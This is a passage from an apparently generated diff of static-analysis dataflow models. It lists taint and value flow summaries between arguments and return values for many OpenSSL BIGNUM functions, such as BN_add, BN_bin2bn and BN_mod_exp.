*,BN_GENCB *)", "", "Argument[*6]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "BN_X931_generate_prime_ex", "(BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*7]", "Argument[*5]", "taint", "df-generated"] + - ["", "", True, "BN_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_add_word", "(BIGNUM *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_are_coprime", "(BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_are_coprime", "(BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_are_coprime", "(BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "BN_asc2bn", "(BIGNUM **,const char *)", "", "Argument[*1]", "Argument[**0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_asc2bn", "(BIGNUM **,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_asc2bn", "(BIGNUM **,const char *)", "", "Argument[1]", "Argument[**0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_bin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_bn2bin", "(const BIGNUM *,unsigned char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2binpad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2binpad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2binpad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2binpad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_bn2lebinpad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2lebinpad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2lebinpad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2lebinpad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_bn2mpi", "(const BIGNUM *,unsigned char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2nativepad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2nativepad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2nativepad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "BN_bn2nativepad", "(const BIGNUM *,unsigned char *,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_bntest_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_bntest_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_bntest_rand", "(BIGNUM *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_check_prime", "(const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_clear_bit", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_consttime_swap", "(unsigned long,BIGNUM *,BIGNUM *,int)", "", "Argument[*1]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_consttime_swap", "(unsigned long,BIGNUM *,BIGNUM *,int)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_consttime_swap", "(unsigned long,BIGNUM *,BIGNUM *,int)", "", "Argument[0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_consttime_swap", "(unsigned long,BIGNUM *,BIGNUM *,int)", "", "Argument[0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "BN_copy", "(BIGNUM *,const BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_copy", "(BIGNUM *,const BIGNUM *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_dec2bn", "(BIGNUM **,const char *)", "", "Argument[*1]", "Argument[**0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_dec2bn", "(BIGNUM **,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_dec2bn", "(BIGNUM **,const char *)", "", "Argument[1]", "Argument[**0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_div", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_div", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_div", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_div", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_div", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_div_recp", "(BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_div_recp", "(BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_div_recp", "(BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_div_recp", "(BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_div_recp", "(BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_div_recp", "(BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_div_recp", "(BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*4]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_div_recp", "(BIGNUM *,BIGNUM *,const BIGNUM *,BN_RECP_CTX *,BN_CTX *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_div_word", "(BIGNUM *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_div_word", "(BIGNUM *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_div_word", "(BIGNUM *,unsigned long)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_dup", "(const BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "BN_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_from_montgomery", "(BIGNUM *,const BIGNUM *,BN_MONT_CTX *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_gcd", "(BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_generate_dsa_nonce", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[*3]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[*3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[*4]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[*4]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[*4]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,..(*)(..),void *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[*0]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[*3]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[*4]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[*4]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[*6]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[*6]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[*6]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_generate_prime_ex2", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *,BN_CTX *)", "", "Argument[1]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "BN_generate_prime_ex", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*0]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*3]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*4]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[*4]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_generate_prime_ex", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_generate_prime_ex", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_generate_prime_ex", "(BIGNUM *,int,int,const BIGNUM *,const BIGNUM *,BN_GENCB *)", "", "Argument[1]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "BN_get_flags", "(const BIGNUM *,int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_get_flags", "(const BIGNUM *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_get_rfc2409_prime_1024", "(BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_get_rfc2409_prime_1024", "(BIGNUM *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_get_rfc2409_prime_768", "(BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_get_rfc2409_prime_768", "(BIGNUM *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_get_rfc3526_prime_1536", "(BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_get_rfc3526_prime_1536", "(BIGNUM *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_get_rfc3526_prime_2048", "(BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_get_rfc3526_prime_2048", "(BIGNUM *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_get_rfc3526_prime_3072", "(BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_get_rfc3526_prime_3072", "(BIGNUM *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_get_rfc3526_prime_4096", "(BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_get_rfc3526_prime_4096", "(BIGNUM *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_get_rfc3526_prime_6144", "(BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_get_rfc3526_prime_6144", "(BIGNUM *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_get_rfc3526_prime_8192", "(BIGNUM *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_get_rfc3526_prime_8192", "(BIGNUM *)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_get_word", "(const BIGNUM *)", "", "Argument[*0].Field[**d]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_get_word", "(const BIGNUM *)", "", "Argument[*0].Field[*d]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_hex2bn", "(BIGNUM **,const char *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "BN_is_bit_set", "(const BIGNUM *,int)", "", "Argument[*0].Field[**d]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_is_bit_set", "(const BIGNUM *,int)", "", "Argument[*0].Field[*d]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_is_bit_set", "(const BIGNUM *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_is_negative", "(const BIGNUM *)", "", "Argument[*0].Field[*neg]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_is_prime", "(const BIGNUM *,int,..(*)(..),BN_CTX *,void *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_is_prime_ex", "(const BIGNUM *,int,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_is_prime_fasttest", "(const BIGNUM *,int,..(*)(..),BN_CTX *,void *,int)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_is_prime_fasttest_ex", "(const BIGNUM *,int,BN_CTX *,int,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_kronecker", "(const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0].Field[**d]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_kronecker", "(const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0].Field[*d]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_kronecker", "(const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1].Field[**d]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_kronecker", "(const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1].Field[*d]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "BN_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "BN_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "Argument[*2].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[0]", "ReturnValue[*].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_lebin2bn", "(const unsigned char *,int,BIGNUM *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "BN_lshift1", "(BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_lshift", "(BIGNUM *,const BIGNUM *,int)", "", "Argument[2]", "Argument[*0].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "BN_lshift", "(BIGNUM *,const BIGNUM *,int)", "", "Argument[2]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_mask_bits", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "BN_mask_bits", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "BN_mod_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "BN_mod_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "BN_mod_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*2]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_add", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*3]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "BN_mod_add_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*3].Field[*top]", "Argument[*0].Field[*dmax]", "value", "dfc-generated"] + - ["", "", True, "BN_mod_add_quick", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*3].Field[*top]", "Argument[*0].Field[*top]", "value", "dfc-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*1]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*3]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*5]", "Argument[*7]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*6]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*6]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*7]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*7]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp2_mont", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *,BN_MONT_CTX *)", "", "Argument[*7]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "BN_mod_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,BN_CTX *)", "", "Argument[*1]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "BN_mod_exp", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const 